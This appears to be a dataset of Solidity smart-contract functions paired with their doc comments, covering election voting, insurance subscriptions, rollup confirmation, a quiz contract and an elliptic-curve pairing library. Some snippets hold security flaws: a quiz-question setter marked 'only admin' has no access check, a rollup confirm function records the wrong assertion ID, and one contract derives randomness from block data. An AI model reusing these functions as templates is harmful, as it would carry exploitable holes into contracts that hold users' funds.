electionDefaults[_term].votingPeriod
)
);
if (vaultCreated) {
election.vaultId = vaultId;
}
emit ElectionInitialized(
election.electionTerm,
_region,
election.startTime
);
}
/**
* todo: check beneficiary not already registered for this election
* todo: check beneficiary is not registered for another non-closed election
* todo: check beneficiary is not currently awarded a grant
* todo: add claimBond function for beneficiary to receive their bond after the election period has closed
*/
function registerForElection(address _beneficiary, uint256 _electionId)
public
{
Election storage _election = elections[_electionId];
refreshElectionState(_electionId);
require(
_election.electionState == ElectionState.Registration,
"election not open for registration"
);
require(
beneficiaryRegistry.beneficiaryExists(_beneficiary),
"address is not eligible for registration"
);
require(
_election.registeredBeneficiaries[_beneficiary] == false,
"only register once"
);
_collectRegistrationBond(_election);
_election.registeredBeneficiaries[_beneficiary] = true;
_election.registeredBeneficiariesList.push(_beneficiary);
emit BeneficiaryRegistered(_beneficiary, _electionId);
}
function refreshElectionState(uint256 _electionId) public {
Election storage election = elections[_electionId];
if (
block.timestamp >=
election
.startTime
.add(election.electionConfiguration.registrationPeriod)
.add(election.electionConfiguration.votingPeriod)
) {
election.electionState = ElectionState.Closed;
if (election.electionConfiguration.useChainLinkVRF) {
randomNumberConsumer.getRandomNumber(
_electionId,
uint256(
keccak256(abi.encode(block.timestamp, blockhash(block.number)))
)
);
}
} else if (
block.timestamp >=
election.startTime.add(election.electionConfiguration.registrationPeriod)
) {
election.electionState = ElectionState.Voting;
} else if (block.timestamp >= election.startTime) {
election.electionState = ElectionState.Registration;
}
}
function vote(
address[] memory _beneficiaries,
uint256[] memory _voiceCredits,
uint256 _electionId
) public {
Election storage election = elections[_electionId];
require(_beneficiaries.length <= 5, "too many beneficiaries");
require(_voiceCredits.length <= 5, "too many votes");
require(_voiceCredits.length > 0, "Voice credits are required");
require(_beneficiaries.length > 0, "Beneficiaries are required");
refreshElectionState(_electionId);
require(
election.electionState == ElectionState.Voting,
"Election not open for voting"
);
require(
!election.voters[msg.sender],
"address already voted for election term"
);
uint256 _usedVoiceCredits = 0;
uint256 _stakedVoiceCredits = staking.getVoiceCredits(msg.sender);
require(_stakedVoiceCredits > 0, "must have voice credits from staking");
for (uint256 i = 0; i < _beneficiaries.length; i++) {
// todo: consider skipping iteration instead of throwing since if a beneficiary is removed from the registry during an election, it can prevent votes from being counted
require(
_isEligibleBeneficiary(_beneficiaries[i], _electionId),
"ineligible beneficiary"
);
_usedVoiceCredits = _usedVoiceCredits.add(_voiceCredits[i]);
uint256 _sqredVoiceCredits = sqrt(_voiceCredits[i]);
Vote memory _vote = Vote({
voter: msg.sender,
beneficiary: _beneficiaries[i],
weight: _sqredVoiceCredits
});
election.votes.push(_vote);
election.voters[msg.sender] = true;
}
require(
_usedVoiceCredits <= _stakedVoiceCredits,
"Insufficient voice credits"
);
if (election.vaultId != "") {
_addShares(election.vaultId, msg.sender, _usedVoiceCredits);
}
emit UserVoted(msg.sender, election.electionTerm);
}
function fundKeeperIncentive(uint256 _amount) public {
require(POP.balanceOf(msg.sender) >= _amount, "not enough pop");
POP.safeTransferFrom(msg.sender, address(this), _amount);
incentiveBudget = incentiveBudget.add(_amount);
}
function getRandomNumber(uint256 _electionId) public {
Election storage _election = elections[_electionId];
require(
_election.electionConfiguration.useChainLinkVRF == true,
"election doesnt need random number"
);
require(
_election.electionState == ElectionState.Closed,
"election must be closed"
);
require(_election.randomNumber == 0, "randomNumber already set");
uint256 randomNumber = randomNumberConsumer.getRandomResult(_electionId);
require(randomNumber != 0, "random number not yet created");
_election.randomNumber = randomNumber;
}
/* ========== RESTRICTED FUNCTIONS ========== */
function proposeFinalization(uint256 _electionId, bytes32 _merkleRoot)
external
{
require(proposer[msg.sender] == true, "not a proposer");
Election storage _election = elections[_electionId];
require(
_election.electionState == ElectionState.Closed ||
_election.electionState == ElectionState.FinalizationProposed,
"wrong election state"
);
require(_election.votes.length >= 1, "no elegible awardees");
if (_election.electionConfiguration.useChainLinkVRF) {
require(_election.randomNumber != 0, "randomNumber required");
}
uint256 finalizationIncentive = electionDefaults[
uint8(_election.electionTerm)
].finalizationIncentive;
if (
incentiveBudget >= finalizationIncentive &&
_election.electionState != ElectionState.FinalizationProposed
) {
POP.approve(address(this), finalizationIncentive);
POP.safeTransferFrom(address(this), msg.sender, finalizationIncentive);
incentiveBudget = incentiveBudget.sub(finalizationIncentive);
}
_election.merkleRoot = _merkleRoot;
_election.electionState = ElectionState.FinalizationProposed;
emit FinalizationProposed(_electionId, _merkleRoot);
}
function approveFinalization(uint256 _electionId, bytes32 _merkleRoot)
external
{
require(approver[msg.sender] == true, "not an approver");
Election storage election = elections[_electionId];
require(
election.electionState != ElectionState.Finalized,
"election already finalized"
);
require(
election.electionState == ElectionState.FinalizationProposed,
"finalization not yet proposed"
);
require(election.merkleRoot == _merkleRoot, "Incorrect root");
address beneficiaryVault = region.regionVaults(election.region);
IBeneficiaryVaults(beneficiaryVault).openVault(
uint8(election.electionTerm),
_merkleRoot
);
_openVault(election.vaultId);
election.electionState = ElectionState.Finalized;
emit ElectionFinalized(_electionId, _merkleRoot);
}
function toggleRegistrationBondRequirement(ElectionTerm _term)
external
onlyGovernance
{
electionDefaults[uint8(_term)]
.bondRequirements
.required = !electionDefaults[uint8(_term)].bondRequirements.required;
}
function addProposer(address _proposer) external onlyGovernance {
require(proposer[_proposer] != true, "already registered");
require(approver[_proposer] != true, "is already an approver");
proposer[_proposer] = true;
emit ProposerAdded(_proposer);
}
function removeProposer(address _proposer) external onlyGovernance {
require(proposer[_proposer] == true, "not registered");
delete proposer[_proposer];
emit ProposerRemoved(_proposer);
}
function addApprover(address _approver) external onlyGovernance {
require(approver[_approver] != true, "already registered");
require(proposer[_approver] != true, "is already a proposer");
approver[_approver] = true;
emit ApproverAdded(_approver);
}
function removeApprover(address _approver) external onlyGovernance {
require(approver[_approver] == true, "not registered");
delete approver[_approver];
emit ApproverRemoved(_approver);
}
function _collectRegistrationBond(Election storage _election) internal {
if (_election.electionConfiguration.bondRequirements.required == true) {
require(
POP.balanceOf(msg.sender) >=
_election.electionConfiguration.bondRequirements.amount,
"insufficient registration bond balance"
);
POP.safeTransferFrom(
msg.sender,
address(this),
_election.electionConfiguration.bondRequirements.amount
);
}
}
function _setDefaults() internal {
ElectionConfiguration storage monthlyDefaults = electionDefaults[
uint8(ElectionTerm.Monthly)
];
monthlyDefaults.awardees = 1;
monthlyDefaults.ranking = 3;
monthlyDefaults.useChainLinkVRF = true;
monthlyDefaults.bondRequirements.required = true;
monthlyDefaults.bondRequirements.amount = 50e18;
monthlyDefaults.votingPeriod = 7 days;
monthlyDefaults.registrationPeriod = 7 days;
monthlyDefaults.cooldownPeriod = 21 days;
monthlyDefaults.finalizationIncentive = 2000e18;
monthlyDefaults.enabled = true;
monthlyDefaults.shareType = ShareType.EqualWeight;
ElectionConfiguration storage quarterlyDefaults = electionDefaults[
uint8(ElectionTerm.Quarterly)
];
quarterlyDefaults.awardees = 2;
quarterlyDefaults.ranking = 5;
quarterlyDefaults.useChainLinkVRF = true;
quarterlyDefaults.bondRequirements.required = true;
quarterlyDefaults.bondRequirements.amount = 100e18;
quarterlyDefaults.votingPeriod = 14 days;
quarterlyDefaults.registrationPeriod = 14 days;
quarterlyDefaults.cooldownPeriod = 83 days;
quarterlyDefaults.finalizationIncentive = 2000e18;
quarterlyDefaults.enabled = true;
quarterlyDefaults.shareType = ShareType.EqualWeight;
ElectionConfiguration storage yearlyDefaults = electionDefaults[
uint8(ElectionTerm.Yearly)
];
yearlyDefaults.awardees = 3;
yearlyDefaults.ranking = 7;
yearlyDefaults.useChainLinkVRF = true;
yearlyDefaults.bondRequirements.required = true;
yearlyDefaults.bondRequirements.amount = 1000e18;
yearlyDefaults.votingPeriod = 30 days;
yearlyDefaults.registrationPeriod = 30 days;
yearlyDefaults.cooldownPeriod = 358 days;
yearlyDefaults.finalizationIncentive = 2000e18;
yearlyDefaults.enabled = true;
yearlyDefaults.shareType = ShareType.EqualWeight;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
/* ========== SETTER ========== */
function setConfiguration(
ElectionTerm _term,
uint8 _ranking,
uint8 _awardees,
bool _useChainLinkVRF,
uint256 _registrationPeriod,
uint256 _votingPeriod,
uint256 _cooldownPeriod,
uint256 _bondAmount,
bool _bondRequired,
uint256 _finalizationIncentive,
bool _enabled,
ShareType _shareType
) public onlyGovernance {
ElectionConfiguration storage _defaults = electionDefaults[uint8(_term)];
_defaults.ranking = _ranking;
_defaults.awardees = _awardees;
_defaults.useChainLinkVRF = _useChainLinkVRF;
_defaults.registrationPeriod = _registrationPeriod;
_defaults.votingPeriod = _votingPeriod;
_defaults.cooldownPeriod = _cooldownPeriod;
_defaults.bondRequirements.amount = _bondAmount;
_defaults.bondRequirements.required = _bondRequired;
_defaults.finalizationIncentive = _finalizationIncentive;
_defaults.enabled = _enabled;
_defaults.shareType = _shareType;
}
/* ========== MODIFIERS ========== */
modifier validAddress(address _address) {
require(_address == address(_address), "invalid address");
_;
}
}
| todo: mint POP for caller to incentivize calling function todo: use bonds to incentivize callers instead of minting | function initialize(ElectionTerm _grantTerm, bytes2 _region) public {
require(region.regionExists(_region), "region doesnt exist");
uint8 _term = uint8(_grantTerm);
if (elections.length != 0) {
Election storage latestElection = elections[
activeElections[_region][_term]
];
if (
latestElection.electionTerm == _grantTerm &&
latestElection.startTime != 0
) {
require(
latestElection.electionState == ElectionState.Finalized,
"election not yet finalized"
);
require(
block.timestamp.sub(latestElection.startTime) >=
latestElection.electionConfiguration.cooldownPeriod,
"can't start new election, not enough time elapsed since last election"
);
}
}
address beneficiaryVault = region.regionVaults(_region);
if (IBeneficiaryVaults(beneficiaryVault).vaultExists(_term)) {
IBeneficiaryVaults(beneficiaryVault).closeVault(_term);
}
uint256 electionId = elections.length;
activeElections[_region][_term] = electionId;
elections.push();
Election storage election = elections[electionId];
election.electionConfiguration = electionDefaults[_term];
election.electionState = ElectionState.Registration;
election.electionTerm = _grantTerm;
election.startTime = block.timestamp;
election.region = _region;
(bool vaultCreated, bytes32 vaultId) = _initializeVault(
keccak256(abi.encodePacked(_term, block.timestamp)),
block.timestamp.add(electionDefaults[_term].registrationPeriod).add(
electionDefaults[_term].votingPeriod
)
);
if (vaultCreated) {
election.vaultId = vaultId;
}
emit ElectionInitialized(
election.electionTerm,
_region,
election.startTime
);
}
| 12,702,525 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./common/BaseRelayRecipient.sol";
import "./common/Migratable.sol";
import "./common/NonReentrancy.sol";
import "./common/WeekManaged.sol";
import "./interfaces/IAssetManager.sol";
import "./interfaces/IBuyer.sol";
import "./interfaces/IGuarantor.sol";
import "./interfaces/IPremiumCalculator.sol";
import "./interfaces/IRegistry.sol";
import "./interfaces/ISeller.sol";
// This contract is owned by Timelock.
contract Buyer is IBuyer, Ownable, WeekManaged, Migratable, NonReentrancy, BaseRelayRecipient {
using SafeERC20 for IERC20;
using SafeMath for uint256;
string public override versionRecipient = "1.0.0";
IRegistry public registry;
struct UserInfo {
uint256 balance;
uint256 weekBegin; // The week the coverage begin
uint256 weekEnd; // The week the coverage end
uint256 weekUpdated; // The week that balance was updated
}
mapping(address => UserInfo) public userInfoMap;
// assetIndex => amount
mapping(uint16 => uint256) public override currentSubscription;
// assetIndex => amount
mapping(uint16 => uint256) public override futureSubscription;
// assetIndex => utilization
mapping(uint16 => uint256) public override assetUtilization;
// assetIndex => total
mapping(uint16 => uint256) public override premiumForGuarantor;
// assetIndex => total
mapping(uint16 => uint256) public override premiumForSeller;
// Should be claimed immediately in the next week.
// assetIndex => total
mapping(uint16 => uint256) public premiumToRefund;
uint256 public override weekToUpdate;
// who => assetIndex + 1
mapping(address => uint16) public buyerAssetIndexPlusOne;
event Update(address indexed who_);
event Deposit(address indexed who_, uint256 amount_);
event Withdraw(address indexed who_, uint256 amount_);
event Subscribe(address indexed who_, uint16 indexed assetIndex_, uint256 amount_);
event Unsubscribe(address indexed who_, uint16 indexed assetIndex_, uint256 amount_);
constructor (IRegistry registry_) public {
registry = registry_;
}
function _timeExtra() internal override view returns(uint256) {
return registry.timeExtra();
}
function _msgSender() internal override(Context, BaseRelayRecipient) view returns (address payable) {
return BaseRelayRecipient._msgSender();
}
function _trustedForwarder() internal override view returns(address) {
return registry.trustedForwarder();
}
function _migrationCaller() internal override view returns(address) {
return address(registry);
}
function migrate() external lock {
uint256 balance = userInfoMap[_msgSender()].balance;
require(address(migrateTo) != address(0), "Destination not set");
require(balance > 0, "No balance");
userInfoMap[_msgSender()].balance = 0;
IERC20(registry.baseToken()).safeTransfer(address(migrateTo), balance);
migrateTo.onMigration(_msgSender(), balance, "");
}
// Set buyer asset index. When 0, it's cleared.
function setBuyerAssetIndexPlusOne(address who_, uint16 assetIndexPlusOne_) external onlyOwner {
buyerAssetIndexPlusOne[who_] = assetIndexPlusOne_;
}
// Get buyer asset index
function getBuyerAssetIndex(address who_) public view returns(uint16) {
require(buyerAssetIndexPlusOne[who_] > 0, "No asset index");
return buyerAssetIndexPlusOne[who_] - 1;
}
// Has buyer asset index
function hasBuyerAssetIndex(address who_) public view returns(bool) {
return buyerAssetIndexPlusOne[who_] > 0;
}
function getPremiumRate(uint16 assetIndex_) public view returns(uint256) {
return IPremiumCalculator(registry.premiumCalculator()).getPremiumRate(
assetIndex_);
}
function isUserCovered(address who_) public override view returns(bool) {
return userInfoMap[who_].weekEnd == getCurrentWeek();
}
function getBalance(address who_) external view returns(uint256) {
return userInfoMap[who_].balance;
}
function _maybeRefundOverSubscribed(uint16 assetIndex_, uint256 sellerAssetBalance_) private {
// Maybe refund to buyer if over-subscribed in the past week, with past premium rate (assetUtilization).
if (currentSubscription[assetIndex_] > sellerAssetBalance_) {
premiumToRefund[assetIndex_] = currentSubscription[assetIndex_].sub(sellerAssetBalance_).mul(
getPremiumRate(assetIndex_)).div(registry.PREMIUM_BASE());
// Reduce currentSubscription (not too late).
currentSubscription[assetIndex_] = sellerAssetBalance_;
} else {
// No need to refund.
premiumToRefund[assetIndex_] = 0;
}
}
function _calculateAssetUtilization(uint16 assetIndex_, uint256 sellerAssetBalance_) private {
// Calculate new assetUtilization from currentSubscription and sellerAssetBalance
if (sellerAssetBalance_ == 0) {
assetUtilization[assetIndex_] = registry.UTILIZATION_BASE();
} else {
assetUtilization[assetIndex_] = currentSubscription[assetIndex_] * registry.UTILIZATION_BASE() / sellerAssetBalance_;
}
// Premium rate also changed.
}
// Called every week.
function beforeUpdate() external lock {
uint256 currentWeek = getCurrentWeek();
require(weekToUpdate < currentWeek, "Already called");
if (weekToUpdate > 0) {
uint256 totalForGuarantor = 0;
uint256 totalForSeller = 0;
uint256 feeForPlatform = 0;
// To preserve last week's data before update buyers.
for (uint16 index = 0;
index < IAssetManager(registry.assetManager()).getAssetLength();
++index) {
uint256 sellerAssetBalance = ISeller(registry.seller()).assetBalance(index);
_maybeRefundOverSubscribed(index, sellerAssetBalance);
_calculateAssetUtilization(index, sellerAssetBalance);
uint256 premiumOfAsset = currentSubscription[index].mul(
getPremiumRate(index)).div(registry.PREMIUM_BASE());
feeForPlatform = feeForPlatform.add(
premiumOfAsset.mul(registry.platformPercentage()).div(registry.PERCENTAGE_BASE()));
if (IAssetManager(registry.assetManager()).getAssetToken(index) == address(0)) {
// When guarantor pool doesn't exist.
premiumForGuarantor[index] = 0;
premiumForSeller[index] = premiumOfAsset.mul(
registry.PERCENTAGE_BASE().sub(
registry.platformPercentage())).div(registry.PERCENTAGE_BASE());
} else {
// When guarantor pool exists.
premiumForGuarantor[index] = premiumOfAsset.mul(
registry.guarantorPercentage()).div(registry.PERCENTAGE_BASE());
totalForGuarantor = totalForGuarantor.add(premiumForGuarantor[index]);
premiumForSeller[index] = premiumOfAsset.mul(
registry.PERCENTAGE_BASE().sub(registry.guarantorPercentage()).sub(
registry.platformPercentage())).div(registry.PERCENTAGE_BASE());
}
totalForSeller = totalForSeller.add(premiumForSeller[index]);
}
IERC20(registry.baseToken()).safeTransfer(registry.platform(), feeForPlatform);
IERC20(registry.baseToken()).safeApprove(registry.guarantor(), 0);
IERC20(registry.baseToken()).safeApprove(registry.guarantor(), totalForGuarantor);
IERC20(registry.baseToken()).safeApprove(registry.seller(), 0);
IERC20(registry.baseToken()).safeApprove(registry.seller(), totalForSeller);
}
weekToUpdate = currentWeek;
}
// Called for every user every week.
function update(address who_) external {
uint256 currentWeek = getCurrentWeek();
require(hasBuyerAssetIndex(who_), "not whitelisted buyer");
uint16 buyerAssetIndex = getBuyerAssetIndex(who_);
require(currentWeek == weekToUpdate, "Not ready to update");
require(userInfoMap[who_].weekUpdated < currentWeek, "Already updated");
// Maybe refund to user.
userInfoMap[who_].balance = userInfoMap[who_].balance.add(premiumToRefund[buyerAssetIndex]);
if (ISeller(registry.seller()).isAssetLocked(buyerAssetIndex)) {
// Stops user's current and future subscription.
currentSubscription[buyerAssetIndex] = 0;
futureSubscription[buyerAssetIndex] = 0;
} else {
// Get per user premium
uint256 premium = futureSubscription[buyerAssetIndex].mul(
getPremiumRate(buyerAssetIndex)).div(registry.PREMIUM_BASE());
if (userInfoMap[who_].balance >= premium) {
userInfoMap[who_].balance = userInfoMap[who_].balance.sub(premium);
if (userInfoMap[who_].weekBegin == 0 ||
userInfoMap[who_].weekEnd < userInfoMap[who_].weekUpdated) {
userInfoMap[who_].weekBegin = currentWeek;
}
userInfoMap[who_].weekEnd = currentWeek;
if (futureSubscription[buyerAssetIndex] > 0) {
currentSubscription[buyerAssetIndex] = futureSubscription[buyerAssetIndex];
} else if (currentSubscription[buyerAssetIndex] > 0) {
currentSubscription[buyerAssetIndex] = 0;
}
} else {
// Stops user's current and future subscription.
currentSubscription[buyerAssetIndex] = 0;
futureSubscription[buyerAssetIndex] = 0;
}
}
userInfoMap[who_].weekUpdated = currentWeek; // This week.
emit Update(who_);
}
// Deposit
function deposit(uint256 amount_) external lock {
require(hasBuyerAssetIndex(_msgSender()), "not whitelisted buyer");
IERC20(registry.baseToken()).safeTransferFrom(_msgSender(), address(this), amount_);
userInfoMap[_msgSender()].balance = userInfoMap[_msgSender()].balance.add(amount_);
emit Deposit(_msgSender(), amount_);
}
// Withdraw
function withdraw(uint256 amount_) external lock {
require(userInfoMap[_msgSender()].balance >= amount_, "not enough balance");
IERC20(registry.baseToken()).safeTransfer(_msgSender(), amount_);
userInfoMap[_msgSender()].balance = userInfoMap[_msgSender()].balance.sub(amount_);
emit Withdraw(_msgSender(), amount_);
}
function subscribe(uint16 assetIndex_, uint256 amount_) external {
require(getBuyerAssetIndex(_msgSender()) == assetIndex_, "not whitelisted buyer and assetIndex");
futureSubscription[assetIndex_] = futureSubscription[assetIndex_].add(amount_);
emit Subscribe(_msgSender(), assetIndex_, amount_);
}
function unsubscribe(uint16 assetIndex_, uint256 amount_) external {
require(getBuyerAssetIndex(_msgSender()) == assetIndex_, "not whitelisted buyer and assetIndex");
futureSubscription[assetIndex_] = futureSubscription[assetIndex_].sub(amount_);
emit Unsubscribe(_msgSender(), assetIndex_, amount_);
}
}
| Set buyer asset index. When 0, it's cleared. | function setBuyerAssetIndexPlusOne(address who_, uint16 assetIndexPlusOne_) external onlyOwner {
buyerAssetIndexPlusOne[who_] = assetIndexPlusOne_;
}
| 12,895,192 |
./full_match/5/0xfBB239082cDdd72A97511465A61449521F14E6eC/sources/contracts/L1/fraud-proof/Rollup.sol | @inheritdoc IRollup (2) challenge period has passed (3) predecessor has been confirmed | function confirmFirstUnresolvedAssertion() public override operatorOnly {
if (lastResolvedAssertionID >= lastCreatedAssertionID) {
revert("NoUnresolvedAssertion");
}
uint256 lastUnresolvedID = lastResolvedAssertionID + 1;
if (block.timestamp < assertions.getDeadline(lastUnresolvedID)) {
revert("ChallengePeriodPending");
}
if (assertions.getParentID(lastUnresolvedID) != lastConfirmedAssertionID) {
revert("InvalidParent");
}
lastConfirmedAssertionID = lastResolvedAssertionID;
emit AssertionConfirmed(lastResolvedAssertionID);
}
| 1,921,894 |
./full_match/1/0x1E36E8F509EEC5b569b62404764009dff0867F88/sources/PausableSell.sol | called by the owner to pause, triggers stopped state/ | function Sellpause() public onlyOwner SellWhenNotPaused returns (bool) {
Sellpaused = true;
emit SellPause();
return true;
}
| 4,959,097 |
./full_match/421613/0x3F4aB55D83Dc66C709dA269140155B927E6a13fB/sources/project_/contracts/QuestionData.sol | only admin require(IndexQuest >= 1, "Invalid index quest"); require(!checkIndexQuestInListQuestion(IndexQuest), "Error c001"); | function CreateQuestion(
uint256 indexQuest,
string memory question,
string memory answer0, string memory answer1,
string memory answer2, string memory answer3) public
{
QuestInfo storage Quest = ListQuestionsContract[indexQuest];
Quest.Question = question;
Quest.Answer0 = answer0;
Quest.Answer1 = answer1;
Quest.Answer2 = answer2;
Quest.Answer3 = answer3;
}
| 11,565,667 |
// This code is taken from https://github.com/JacobEberhardt/ZoKrates
pragma solidity ^0.4.24;
library Pairing {
struct G1Point {
uint X;
uint Y;
}
// Encoding of field elements is: X[0] * z + X[1]
struct G2Point {
uint[2] X;
uint[2] Y;
}
/// @return the generator of G1
function P1() internal returns (G1Point) {
return G1Point(1, 2);
}
/// @return the generator of G2
function P2() internal returns (G2Point) {
return G2Point(
[11559732032986387107991004021392285783925812861821192530917403151452391805634,
10857046999023057135944570762232829481370756359578518086990519993285655852781],
[4082367875863433681332203403145435568316851327593401208105741076214120093531,
8495653923123431417604973247489272438418190587263600148770280649306958101930]
);
}
/// @return the negation of p, i.e. p.add(p.negate()) should be zero.
function negate(G1Point p) internal returns (G1Point) {
// The prime q in the base field F_q for G1
uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
if (p.X == 0 && p.Y == 0)
return G1Point(0, 0);
return G1Point(p.X, q - (p.Y % q));
}
/// @return the sum of two points of G1
function add(G1Point p1, G1Point p2) internal returns (G1Point r) {
// The inputs here are simply x1, y1, x2, y2.
uint256[4] memory input;
input[0] = p1.X;
input[1] = p1.Y;
input[2] = p2.X;
input[3] = p2.Y;
bool success;
assembly {
// 0x6 is the address of precompile for ECADD
success := call(sub(gas, 2000), 0x6, 0, input, 0xc0, r, 0x60)
// Use "invalid" to make gas estimation work
switch success case 0 { invalid }
}
require(success);
}
/// @return the product of a point on G1 and a scalar, i.e.
/// p == p.mul(1) and p.add(p) == p.mul(2) for all points p.
function mul(G1Point p, uint s) internal returns (G1Point r) {
// The inputs here are x, y, scalar.
uint[3] memory input;
input[0] = p.X;
input[1] = p.Y;
input[2] = s;
bool success;
assembly {
// 0x7 is the address of precompile for ECMUL
success := call(sub(gas, 2000), 0x7, 0, input, 0x80, r, 0x60)
// Use "invalid" to make gas estimation work
switch success case 0 { invalid }
}
require (success);
}
/// @return the result of computing the pairing check
/// e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1
/// For example pairing([P1(), P1().negate()], [P2(), P2()]) should
/// return true.
function pairing(G1Point[] p1, G2Point[] p2) internal returns (bool) {
// bn256Pairing lives at 0x08. This takes as input arbitrarily many pairs of elliptic curve points,
// and performs the pairing check e(g1, g2) = e(-h1, h2), with g1 and h1 from G1, and g2 and h2 from G2.
// - Points from G1 have the form (x, y), as we have seen above;
// - points from G2 have the form (ai + b, ci + d),
// and a, b, c, d (in that order — imaginary, real, imaginary, real) need to be supplied in the precompile call.
// The bn256Pairing code first checks that a multiple of 6 elements have been sent, and then performs the pairings check(s).
require(p1.length == p2.length);
uint elements = p1.length;
uint inputSize = elements * 6;
uint[] memory input = new uint[](inputSize);
for (uint i = 0; i < elements; i++) {
input[i * 6 + 0] = p1[i].X;
input[i * 6 + 1] = p1[i].Y;
input[i * 6 + 2] = p2[i].X[0];
input[i * 6 + 3] = p2[i].X[1];
input[i * 6 + 4] = p2[i].Y[0];
input[i * 6 + 5] = p2[i].Y[1];
}
uint[1] memory out;
bool success;
assembly {
// 0x8 is BN256Pairing, we just want to check if it was successful
// so we return 32 bytes and check if it was !0, as a success
success := call(sub(gas, 2000), 0x8, 0, add(input, 0x20), mul(inputSize, 0x20), out, 0x20)
// Use "invalid" to make gas estimation work
switch success case 0 { invalid }
}
require(success);
return out[0] != 0;
}
/// Convenience method for a pairing check for two pairs.
function pairingProd2(G1Point a1, G2Point a2, G1Point b1, G2Point b2) internal returns (bool) {
G1Point[] memory p1 = new G1Point[](2);
G2Point[] memory p2 = new G2Point[](2);
p1[0] = a1;
p1[1] = b1;
p2[0] = a2;
p2[1] = b2;
return pairing(p1, p2);
}
/// Convenience method for a pairing check for three pairs.
function pairingProd3(
G1Point a1, G2Point a2,
G1Point b1, G2Point b2,
G1Point c1, G2Point c2
)
internal
returns (bool)
{
G1Point[] memory p1 = new G1Point[](3);
G2Point[] memory p2 = new G2Point[](3);
p1[0] = a1;
p1[1] = b1;
p1[2] = c1;
p2[0] = a2;
p2[1] = b2;
p2[2] = c2;
return pairing(p1, p2);
}
/// Convenience method for a pairing check for four pairs.
function pairingProd4(
G1Point a1, G2Point a2,
G1Point b1, G2Point b2,
G1Point c1, G2Point c2,
G1Point d1, G2Point d2
)
internal
returns (bool)
{
G1Point[] memory p1 = new G1Point[](4);
G2Point[] memory p2 = new G2Point[](4);
p1[0] = a1;
p1[1] = b1;
p1[2] = c1;
p1[3] = d1;
p2[0] = a2;
p2[1] = b2;
p2[2] = c2;
p2[3] = d2;
return pairing(p1, p2);
}
}
| return the product of a point on G1 and a scalar, i.e. p == p.mul(1) and p.add(p) == p.mul(2) for all points p. The inputs here are x, y, scalar. 0x7 is the address of precompile for ECMUL Use "invalid" to make gas estimation work | function mul(G1Point p, uint s) internal returns (G1Point r) {
uint[3] memory input;
input[0] = p.X;
input[1] = p.Y;
input[2] = s;
bool success;
assembly {
success := call(sub(gas, 2000), 0x7, 0, input, 0x80, r, 0x60)
}
require (success);
}
| 15,864,192 |
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
